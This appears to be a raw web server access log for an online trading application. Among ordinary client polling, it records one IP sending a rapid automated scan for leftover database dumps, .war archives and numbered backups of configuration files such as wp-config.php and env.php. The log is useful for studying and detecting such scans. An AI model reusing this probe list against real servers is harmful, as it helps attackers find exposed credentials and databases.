[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927851989 HTTP/1.1" -
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.1 HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:59:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.1 HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927866228 HTTP/1.1" -
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.1 HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.1 HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927853580 HTTP/1.1" -
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.1 HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.war HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.2 HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.war HTTP/1.1" 196
[09/Jan/2026:10:59:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.war HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.war HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.war HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927857115 HTTP/1.1" -
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.war HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.war HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.war HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.war HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.war HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.war HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.war HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.war HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.war HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.war HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.war HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.war HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.war HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.war HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.war HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.2 HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.war HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.war HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.war HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.war HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.war HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.war HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927872224 HTTP/1.1" -
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.war HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.war HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.2 HTTP/1.1" 196
[09/Jan/2026:10:59:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.war HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.war HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.war HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.war HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927858620 HTTP/1.1" -
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.war HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.2 HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.war HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.war HTTP/1.1" 196
[09/Jan/2026:10:59:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.war HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.war HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.war HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.war HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927862166 HTTP/1.1" -
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.war HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.war HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.war HTTP/1.1" 196
[09/Jan/2026:10:59:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.war HTTP/1.1" 196
[09/Jan/2026:10:59:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.war HTTP/1.1" 196
[09/Jan/2026:10:59:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.war HTTP/1.1" 196
[09/Jan/2026:10:59:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.2 HTTP/1.1" 196
[09/Jan/2026:10:59:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.2 HTTP/1.1" 196
